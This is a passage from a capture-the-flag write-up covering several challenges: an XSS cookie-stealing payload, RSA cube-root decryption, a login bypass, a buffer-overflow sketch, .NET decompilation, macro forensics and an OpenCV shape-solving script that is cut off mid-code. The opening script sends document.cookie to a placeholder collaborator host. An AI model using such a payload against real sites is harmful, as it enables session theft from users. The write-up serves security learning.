<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>After a few seconds after we submitted the blog-post, we get “traffic” in the collaborator GUI:
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/8cabbb1f-57f5-40b6-a91e-663e5bd6dd73.png" alt="" /></p>
<p>As we can see in the picture above - in the tab “Request to Collaborator”, we have the flag!</p>
<h3 id="flag-4">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{I_never_sleep}</code></p>
<hr />
<h1 id="category-crypto">Category: Crypto</h1>
<h2 id="challenge-cryptorsimpla">Challenge Crypto/rsimpla</h2>
<h3 id="description-5">Description</h3>
<p>4096 bit keys are just too secure!</p>
<h3 id="solution-5">solution</h3>
<p>Looking at the <code class="language-plaintext highlighter-rouge">chall.py</code> and <code class="language-plaintext highlighter-rouge">output.txt</code> it becomes obvious that this is a RSA challenge.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>output.txt
e: 3
n: 748292470874828798991250656661305065471138584127430890318278814822173631075929655688961628584506709751748432962175790978264014867702212641436039459389534587265849487829413953488369422556871847735098163423559493602345743528853613599553519071739066769769019197957779908872609256724228740242396713616875719360539698967283218126088599505722876244962334555861468241976842901045192631371878851065217051679320671809800628516788753427993486524118694791674245325379833098614880724419687011014377215481842903003551574316209782126000697784872940130043799465667638540518612275081154480486753319509829376197739423657459741649312263883948622181387408092822044213317920421705961919957392687429063001305487593654126840697988093698057487926142688198750959703012979941861209756056921343524514456903865949112812456899242430448602849453620888951182144361393758849186063687237920494355526543634907768020938355447240070826726653281524469538501114607631667938758276874045664072189152579021548779732725319926374450952465990147769509613086234726859491779218221664947355569333225618897429338435670931976475510431938554916090161088667698208641094461501944212432278283162311947738384856111109335249966101286066729201800423036202778338148006223516328447222569459
c: 5733947580768429390473939871254605808000956916899044923522617319947461646165520111449628559477093136028270560969765574051097825586107778313274139472845569890081850260252675934185870659683104871519485377857259997014622202641224140989542656381760960238710503576009109899530819456058739972013258486109425725581600644984998064846354640452931910132584816618144447662944869
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Here in this instance we have a huge <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code>, and thus a huge <code class="language-plaintext highlighter-rouge">n</code>. Still we have a pretty small <code class="language-plaintext highlighter-rouge">e</code> and <code class="language-plaintext highlighter-rouge">c</code>. A small <code class="language-plaintext highlighter-rouge">e</code> and <code class="language-plaintext highlighter-rouge">c</code> indiacated that <code class="language-plaintext highlighter-rouge">m</code> is small too.
This makes the crypto vunerable to a <em>Coppersmith’s attack</em>.
Looking at encryption in RSA we have the following equation.
\({\displaystyle c\equiv m^{e}{\pmod {n}}.}\)
Since <code class="language-plaintext highlighter-rouge">m</code> and <code class="language-plaintext highlighter-rouge">e</code> are small it is very possible that $m^{e}$ never exceeded $n$ and thus our new equation is the following.
\(\displaystyle c = m^{e}\)
This is a equation that is easy to reverse to get m.</p>
<p>Using <a href="https://www.sagemath.org/">sage</a> ♥ for calculations:</p>
<pre><code class="language-sage">sage: from Crypto.Util.number import long_to_bytes
sage: c = 5733947580768429390473939871254605808000956916899044923522617319947461646165520111449628559477093136028270560969765574051097825586107778313274139472845569890081850260252675934185870659683104871519485377857259997014622202641224140989542656381760960238710503576009109899530819456058739972013258486109425725581600644984998064846354640452931910132584816618144447662944869
sage: e = 3
sage: m = pow(c, 1/e)
sage: long_to_bytes(m)
b'EPT{THIS_WAS_TOO_EZ!MAYBE_SOME_PADDING_WOULD_HELP?}'
</code></pre>
<p>Notice that <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code> wasn’t needed to solve the chall. So yes 4096-bit keys are secure, but only when implemented correctly.</p>
<h3 id="flag-5">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{THIS_WAS_TOO_EZ!MAYBE_SOME_PADDING_WOULD_HELP?</code></p>
<hr />
<h1 id="category-educational">Category: Educational</h1>
<h2 id="challange-educationalbroken-ux">Challange: Educational/Broken UX</h2>
<h3 id="description-6">Description</h3>
<p>Category: Web</p>
<p>Our UX team left us… can you get the flag? I think the team left the creds lying around before they were fired. Find the creds and log in to get the flag.</p>
<p>Site: theuxteamleft.io.ept.gg</p>
<h3 id="solution-6">Solution</h3>
<p>Entering the given site, we see this:
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/a9f1da43-5931-4672-a0e4-9f15ff6c58fe.png" alt="" /></p>
<p>When checking the site’s sourcecode, we find the username: user.
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/9e6fcad6-ccd9-4967-bc81-7f22d380d5ea.png" alt="" /></p>
<p>We also find <code class="language-plaintext highlighter-rouge"><!-- Expected Password: This should be a secret, so it had to be hidden with the response headers--></code> - so we go to <code class="language-plaintext highlighter-rouge">inspect</code> -> <code class="language-plaintext highlighter-rouge">Network</code> and filter on docs. Then we can see the password:
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/0fe06597-3821-460e-895c-f2476ce48325.png" alt="" /></p>
<p>When trying to login with the credentials we found, <code class="language-plaintext highlighter-rouge">user</code> and <code class="language-plaintext highlighter-rouge">this-is-a-strong-password-me-think</code>, we can see that the webpage shuffles the sequence of the letters of the given password.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/9bfa1bac-7eca-4889-9075-fb5d8bc7a18c.png" alt="" /></p>
<p>The login button is also moving around when trying to push it, but being fast solves this. :D</p>
<p>But to get around the shuffling of the password, we manually enter the username and password in the HTTP-request using BurpSuite:</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/7887d0c4-3cb9-4d5e-b1cd-befc3ead5153.png" alt="" /></p>
<p>This bypasses the client-side shuffling and in the response in we get the flag!<br />
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/550b371a-d99e-44ee-88a0-727e4358f876.png" alt="" /></p>
<h3 id="flag-6">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{the-UX-wasnt-that-broken-after-all}</code></p>
<h2 id="challenge-educationalrip">Challenge: Educational/Rip</h2>
<h3 id="description-7">Description</h3>
<p>Category: pwn</p>
<p>Can you control the instruction pointer?</p>
<p><code class="language-plaintext highlighter-rouge">nc io.ept.gg 30009</code></p>
<h3 id="solution-7">Solution</h3>
<p>To start we use checksec in gdb to display weaknesses in the program<br />
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/ec8c34e7-b41d-4ab2-bc79-86021ac476bf.png" alt="" /><br />
In the .c program we can see that the char array “lol”, in the main funtion, has a limit of 100 characters. The program also uses the dangerous <a href="https://man7.org/linux/man-pages/man3/gets.3.html">gets()</a> function. Using <code class="language-plaintext highlighter-rouge">gets()</code> is dangerous because it will continue to store data past the end of the buffer. We can use this to exploit the program.</p>
<p>Inputing a pattern to the program lets us know where the program overflows the buffer. Here we see that RBP gets overwriten after 112 characters, and we need 120 characters to escape the base pointer</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/d3da6a9f-d2b9-497d-b56d-8b03037df759.png" alt="" /></p>
<p>b’\xf4\x12@\x00’</p>
<h3 id="flag-7">Flag</h3>
<h2 id="challenge-educationalconsole-pew">Challenge: Educational/Console Pew</h2>
<h3 id="description-8">Description</h3>
<p>Complete level 1 for epic loot</p>
<p>You might know that C# is a high level programming language and that it uses a combination of static and JIT compilation. This means that the code is compiled down to bytecode.</p>
<p>Decompilation is the reverse of compilation. You have an executable file, .dll, .exe…, and with a tool (decompiler) you get the original source code (in other words, the compiled code is converted into readable source code).</p>
<p>There are various tools that can reliably decompile .NET assemblies into equivalent C# or IL code. Two examples being dnSpy and dotPeek</p>
<h3 id="solution-8">Solution</h3>
<p>Looking at the source code with dotpeek we find the base64 encoded flag in the win condition of the program.<br />
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/2fd2ea9f-af91-42b8-8cc4-70da1108ab5a.png" alt="" /></p>
<h3 id="flag-8">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{R3ver$er_I_am}</code></p>
<hr />
<h1 id="category-forensics">Category: Forensics</h1>
<h2 id="challenge-forensicspretty-document-file">Challenge: Forensics/Pretty Document File</h2>
<h3 id="description-9">Description</h3>
<p>Techarisma Chapter 1/7
One of our Offensive Operations guys is on the inside of the hacking crew Haxquad. He has compromised one of them and extracted an email. Seems like they are working on something new. Can you take a look and see if you can find anything interesting?</p>
<p>Downloads:<br />
Top secret hacking plan.eml</p>
<h3 id="solution-9">Solution</h3>
<p>The file we are given is a <code class="language-plaintext highlighter-rouge">.eml</code> file, which is an email-file. Opnening this , gives us an email with an attached pdf-file.</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/bbe792f4-bebd-4327-b8ff-9aaa5fe33b60.png" alt="" /></p>
<p>We open the pdf-file, and see this:</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/ca188b41-3df1-4177-b837-9c52e7a5c46f.png" alt="" /></p>
<p>There is probably something hidden inside the pdf-file.
By opening the file in <a href="hexed.it">hexed.it</a>, we can look for abnormalities in the file. In the beginnging of the file, everything is readable. We find the plaintext strings from the pdf, but some lines later the text is unreadable. Considering that the pdf-file does not contain any images or other files than text - this can be something to look more into. By looking at the hex-values, we can see something that looks like a zlib-file:</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/549d12f5-8bc1-4e55-b499-0c381fac8f7c.png" alt="" /></p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/06e850b9-31e4-4ae8-84a6-962fc3cd14b4.png" alt="" /></p>
<p>By deleting everything before <code class="language-plaintext highlighter-rouge">78 9C</code> - and saving the rest as a zlib-file, we are able to decompress the file and get more files!</p>
<p>By looking through the files, we find a file that looks very suspect: <code class="language-plaintext highlighter-rouge">evil_macro.xml</code>.</p>
<p>Reading the file, we find something that looks like a powershell-script when decoded with base64:</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/41f69b9f-e50d-49d5-9df1-a4c4175b4327.png" alt="" /></p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/e014d886-d076-4c6c-ab84-820dd17d1509.png" alt="" /></p>
<p>The script has letters and words in shuffled order.
If we copy everything from “{52}” and after - and run it in powershell - the sequence is corrected and we get the flag!</p>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/dc3c4662-0bec-4b94-89f2-15bc2d42e29b.png" alt="" /></p>
<h3 id="flag-9">Flag</h3>
<p><code class="language-plaintext highlighter-rouge">EPT{M4ld0cs_r0X}</code></p>
<hr />
<h1 id="category-misc">Category: Misc</h1>
<h2 id="challenge-misclets-play-a-game-and-misclets-play-harder">Challenge: Misc/Lets play a game and Misc/Lets play harder</h2>
<h3 id="description-10">Description</h3>
<p>Do you prefer if/else of ML, or is it just the same to you?
nc io.ept.gg 30047</p>
<h3 id="solution-10">Solution</h3>
<p>Connecting to <code class="language-plaintext highlighter-rouge">io.ept.gg 30049</code> we are greeted with a picture of four shapes and a question about the location of these shapes.</p>
<p><code class="language-plaintext highlighter-rouge">Where is the triangle (['nw', 'ne', 'sw', 'se'])?</code>
<img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/00c4747f-b63e-4ebd-9b46-f0a8c4f1034e.png" alt="" /></p>
<p>Using python we can use the OpenCV library to detect the shapes using Machine Learning. There are many scripts online on how to use OpenCV to detect shapes in images, for example: <a href="https://www.geeksforgeeks.org/how-to-detect-shapes-in-images-in-python-using-opencv/">https://www.geeksforgeeks.org/how-to-detect-shapes-in-images-in-python-using-opencv/</a>.</p>
<p>In <a href="https://opencv.org/">CV2</a> we can use the use the function <code class="language-plaintext highlighter-rouge">findContours()</code> to find the given image’s contours, and then we use <code class="language-plaintext highlighter-rouge">approxPolyDP()</code> to find the number of corners in a shape. Knowing the number of corners we can approximate a shape, e.g triangle=3.</p>
<p>For <code class="language-plaintext highlighter-rouge">findContours()</code> to work we must use a black and white (binary) image with it. Therefore we use the <code class="language-plaintext highlighter-rouge">cvtColor()</code> function to first convert the RGB image to grayscale. Then we use the <code class="language-plaintext highlighter-rouge">threshold()</code> function to convert the grayscale image into binary with only the values, 0 and 255.</p>
<p>Having the number of corners of each shape from <code class="language-plaintext highlighter-rouge">approxPolyDP()</code>, we just use if-else to detect the shapes. When we have detected the correct shapes we use the function <code class="language-plaintext highlighter-rouge">getCorner(x, y)</code> to store the location of each shape in a dictionary.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="c1"># This function gets the location of the current x, y pixel coordinates
</span><span class="k">def</span> <span class="nf">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">if</span> <span class="n">x</span> <span class="o"><</span> <span class="mi">250</span><span class="p">:</span>
<span class="k">if</span> <span class="n">y</span> <span class="o"><</span> <span class="mi">250</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"nw"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"sw"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">y</span> <span class="o"><</span> <span class="mi">250</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"ne"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"se"</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
</pre></td><td class="rouge-code"><pre> <span class="c1"># Detect shapes
</span> <span class="n">gray</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">cvtColor</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">COLOR_BGR2GRAY</span><span class="p">)</span> <span class="c1"># Convert image to grayscale
</span> <span class="n">thresh</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">threshold</span><span class="p">(</span><span class="n">gray</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">THRESH_BINARY</span> <span class="o">+</span> <span class="n">cv2</span><span class="p">.</span><span class="n">THRESH_OTSU</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="c1"># Convert image to binary
</span>
<span class="n">ROI_number</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">cnts</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">findContours</span><span class="p">(</span><span class="n">thresh</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">RETR_EXTERNAL</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">CHAIN_APPROX_SIMPLE</span><span class="p">)</span>
<span class="n">cnts</span> <span class="o">=</span> <span class="n">cnts</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">cnts</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span> <span class="k">else</span> <span class="n">cnts</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">for</span> <span class="n">cnt</span> <span class="ow">in</span> <span class="n">cnts</span><span class="p">:</span>
<span class="n">approx</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">approxPolyDP</span><span class="p">(</span><span class="n">cnt</span><span class="p">,</span> <span class="mf">0.01</span> <span class="o">*</span> <span class="n">cv2</span><span class="p">.</span><span class="n">arcLength</span><span class="p">(</span><span class="n">cnt</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span> <span class="bp">True</span><span class="p">)</span> <span class="c1"># Count corners
</span>
<span class="c1"># Draw borders around each shape
</span> <span class="n">cv2</span><span class="p">.</span><span class="n">drawContours</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="p">[</span><span class="n">cnt</span><span class="p">],</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">),</span> <span class="mi">5</span><span class="p">)</span>
<span class="n">M</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">moments</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span>
<span class="k">if</span> <span class="n">M</span><span class="p">[</span><span class="s">"m00"</span><span class="p">]</span> <span class="o">!=</span> <span class="mf">0.0</span><span class="p">:</span>
<span class="n">x</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">M</span><span class="p">[</span><span class="s">"m10"</span><span class="p">]</span> <span class="o">/</span> <span class="n">M</span><span class="p">[</span><span class="s">"m00"</span><span class="p">])</span>
<span class="n">y</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">M</span><span class="p">[</span><span class="s">"m01"</span><span class="p">]</span> <span class="o">/</span> <span class="n">M</span><span class="p">[</span><span class="s">"m00"</span><span class="p">])</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">approx</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"triangle"</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">approx</span><span class="p">)</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"rectangle"</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">approx</span><span class="p">)</span> <span class="o">==</span> <span class="mi">6</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"hexagon"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">shapes</span><span class="p">[</span><span class="n">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)]</span> <span class="o">=</span> <span class="s">"circle"</span>
<span class="c1"># Save new image with drawn contours
</span> <span class="c1"># cv2.imwrite('./new_shapes.png', img)
</span>
<span class="k">return</span> <span class="n">shapes</span><span class="p">,</span> <span class="n">img</span><span class="p">,</span> <span class="n">colors</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/82769eae-68c4-4eb8-a6d5-d4b51f3bbc65.gif" alt="" /></p>
<p>In level 2 of this challenge we also needed to deal with the color of the shapes. A problem we struggled with was that CV2 found it hard to convert some colored shapes in the image to binary correctly. Therefore it didn’t detect all shapes.</p>
<p>We solved this by first finding the color of each shape, and then we changed the colors of the image to black and white before passing it to cv2. Using the library <a href="https://webcolors.readthedocs.io/en/1.12/faq.html">webcolors</a> we easily created the dictionary of location->color pairs with the <code class="language-plaintext highlighter-rouge">rgb_to_name()</code> function.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre> <span class="c1"># Get colors from all the shapes and add it to the relevant shapes
</span> <span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">125</span><span class="p">,</span> <span class="mi">125</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"nw"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">125</span><span class="p">,</span> <span class="mi">375</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"ne"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">375</span><span class="p">,</span> <span class="mi">125</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"sw"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="mi">375</span><span class="p">,</span> <span class="mi">375</span><span class="p">]</span>
<span class="n">colors</span><span class="p">[</span><span class="s">"se"</span><span class="p">]</span> <span class="o">=</span> <span class="n">rgb_to_name</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre> <span class="c1"># If we are in level 2 -> change all the colours of the shapes to white
</span> <span class="k">if</span> <span class="n">counter</span> <span class="o">></span> <span class="mi">199</span><span class="p">:</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">500</span><span class="p">):</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">500</span><span class="p">):</span>
<span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">=</span> <span class="n">img</span><span class="p">[</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">]</span>
<span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span>
<span class="n">img</span><span class="p">[</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">255</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Having done this we now have two dictionaries, <code class="language-plaintext highlighter-rouge">colors = {}</code> and <code class="language-plaintext highlighter-rouge">shapes = {}</code>. <br />
We now find what location is the same for both dictionaries depending on the question asked:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre> <span class="c1"># Returns possible locations of both the shape dict and color dict, based on the question
</span> <span class="n">possibleShapes</span> <span class="o">=</span> <span class="p">[</span><span class="n">k</span> <span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">shapes</span><span class="p">.</span><span class="n">items</span><span class="p">()</span> <span class="k">if</span> <span class="n">v</span> <span class="o">==</span> <span class="n">shape</span><span class="p">]</span>
<span class="n">possibleColors</span> <span class="o">=</span> <span class="p">[</span><span class="n">k</span> <span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">colors</span><span class="p">.</span><span class="n">items</span><span class="p">()</span> <span class="k">if</span> <span class="n">v</span> <span class="o">==</span> <span class="n">color</span><span class="p">]</span>
<span class="c1"># Checks what location is the same in possible locations of both shapes and colors
</span> <span class="k">for</span> <span class="n">pos</span> <span class="ow">in</span> <span class="n">possibleShapes</span><span class="p">:</span>
<span class="k">if</span> <span class="n">pos</span> <span class="ow">in</span> <span class="n">possibleColors</span><span class="p">:</span>
<span class="n">ans</span> <span class="o">=</span> <span class="n">pos</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://s3.eu-north-1.amazonaws.com/julianhal/uploads/d008ddd2-bedf-4b90-aa8c-65b4e644148f.gif" alt="" /><br />
(ex. <code class="language-plaintext highlighter-rouge">Where is the red triangle (['nw', 'ne', 'sw', 'se'])?</code>)</p>
<p>Lastly we just interact with the program using <a href="https://docs.pwntools.com/en/stable/intro.html">pwntools</a> to receive questions and send our answer.</p>
<p>Starting “Level 3” gives ut the flag:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>[*] Switching to interactive mode
LEVEL 3
FLAG: EPT{2b3a1b85-abcd-4216-ba56-f3323180a918}
</pre></td></tr></tbody></table></code></pre></div></div>
<h4 id="the-full-code">The full code</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64decode</span>
<span class="kn">import</span> <span class="nn">cv2</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="kn">from</span> <span class="nn">webcolors</span> <span class="kn">import</span> <span class="n">rgb_to_name</span>
<span class="c1"># Connect to program
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"io.ept.gg"</span><span class="p">,</span> <span class="mi">30049</span><span class="p">)</span>
<span class="c1"># This function gets the location of the current x, y pixel coordinates
</span><span class="k">def</span> <span class="nf">getCorner</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">if</span> <span class="n">x</span> <span class="o"><</span> <span class="mi">250</span><span class="p">:</span>
<span class="k">if</span> <span class="n">y</span> <span class="o"><</span> <span class="mi">250</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"nw"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"sw"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">y</span> <span class="o"><</span> <span class="mi">250</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"ne"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"se"</span>
<span class="c1"># Counter variable to know what level we are on
</span><span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span>
<span class="c1"># This is the main function for finding shapes in images
</span><span class="k">def</span> <span class="nf">findShapes</span><span class="p">(</span><span class="n">tmp</span><span class="p">):</span>
<span class="n">shapes</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">colors</span> <span class="o">=</span> <span class="p">{}</span>
<span class="c1"># Save the current image to be processed
</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"shapes.png"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
